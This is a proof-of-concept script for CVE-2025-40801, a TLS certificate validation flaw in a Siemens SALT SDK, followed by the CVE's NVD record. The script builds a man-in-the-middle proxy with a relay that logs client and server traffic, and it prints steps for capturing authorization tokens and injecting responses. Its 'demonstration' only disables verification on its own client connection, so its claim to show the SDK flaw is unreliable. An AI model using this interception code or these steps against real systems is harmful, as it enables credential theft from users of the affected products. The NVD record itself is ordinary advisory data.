CVE-2025-40801

# CVE-2025-40801 PoC - TLS Certificate Validation Bypass # This PoC demonstrates the MITM attack vector against SALT SDK # Note: This is for educational and authorized testing purposes only import ssl import socket import subprocess from mitmproxy import proxy, options from mitmproxy.proxy.server import ProxyServer class TLSInterceptor: """ TLS/SSL Certificate Validation Bypass PoC Simulates attacker performing MITM attack due to missing certificate validation """ def __init__(self, listen_port=8443, target_host='auth.siemens.com', target_port=443): self.listen_port = listen_port self.target_host = target_host self.target_port = target_port self.captured_data = [] def create_fake_tls_context(self): """ Create a malicious TLS context without proper certificate validation This simulates the vulnerable SDK behavior """ # Create unverified SSL context (vulnerable behavior) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE # Critical: No certificate validation return ctx def start_proxy(self): """ Start MITM proxy to intercept TLS connections """ opts = options.Options(listen_host='0.0.0.0', listen_port=self.listen_port) # Configure proxy to intercept all HTTPS traffic opts.ssl_insecure = True # Accept invalid certificates config = proxy.ProxyConfig(opts) server = ProxyServer(config) print(f"[*] MITM Proxy started on port {self.listen_port}") print(f"[*] Redirecting traffic to {self.target_host}:{self.target_port}") return server def capture_credentials(self, client_socket, server_socket): """ Capture and log sensitive data from intercepted connection """ try: while True: # Receive data from client client_data = client_socket.recv(4096) if not client_data: break # Log captured data (in real attack, this would be exfiltrated) self.captured_data.append(client_data) print(f"[+] Captured {len(client_data)} bytes from client") # Forward to server server_socket.sendall(client_data) # Receive response from server server_response = server_socket.recv(4096) if server_response: # Log server response self.captured_data.append(server_response) client_socket.sendall(server_response) except Exception as e: print(f"[-] Error during interception: {e}") finally: client_socket.close() server_socket.close() def demonstrate_vulnerability(self): """ Demonstrate the certificate validation bypass """ print("=" * 60) print("CVE-2025-40801 - SALT SDK Certificate Validation Bypass") print("=" * 60) # Simulate vulnerable connection (no certificate validation) print("\n[*] Establishing connection WITHOUT certificate validation...") ctx = self.create_fake_tls_context() try: with socket.create_connection((self.target_host, self.target_port), timeout=10) as sock: with ctx.wrap_socket(sock, server_hostname=self.target_host) as ssock: cert = ssock.getpeercert() print(f"[!] WARNING: Connection established despite invalid/missing certificate") print(f"[!] Certificate info: {cert}") print("[*] This demonstrates the vulnerability - no proper validation occurred") return True except Exception as e: print(f"[-] Connection failed: {e}") return False def main(): poc = TLSInterceptor() poc.demonstrate_vulnerability() print("\n[*] To fully exploit this vulnerability:") print(" 1. Position attacker in network path (MITM)") print(" 2. Deploy malicious TLS server with self-signed cert") print(" 3. Redirect SALT SDK traffic to attacker-controlled server") print(" 4. Capture authorization tokens and credentials") print(" 5. Potentially inject malicious responses") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-40801", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:45.357", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in COMOS V10.6 (All versions < V10.6.1), COMOS V10.6 (All versions < V10.6.1), JT Bi-Directional Translator for STEP (All versions), NX V2412 (All versions < V2412.8900 with Cloud Entitlement (bundled as NX X)), NX V2506 (All versions < V2506.6000 with Cloud Entitlement (bundled as NX X)), Simcenter 3D (All versions < V2506.6000 with Cloud Entitlement (bundled as Simcenter X Mechanical)), Simcenter Femap (All versions < V2506.0002 with Cloud Entitlement (bundled as Simcenter X Mechanical)), Simcenter Studio (All versions < V2506.0001), Simcenter System Architect (All versions < V2506.0001), Tecnomatix Plant Simulation (All versions < V2504.0007). The SALT SDK is missing server certificate validation while establishing TLS connections to the authorization server. This could allow an attacker to perform a man-in-the-middle attack."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-212953.html", "source": "[email protected]"}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-710408.html", "source": "[email protected]"}]}}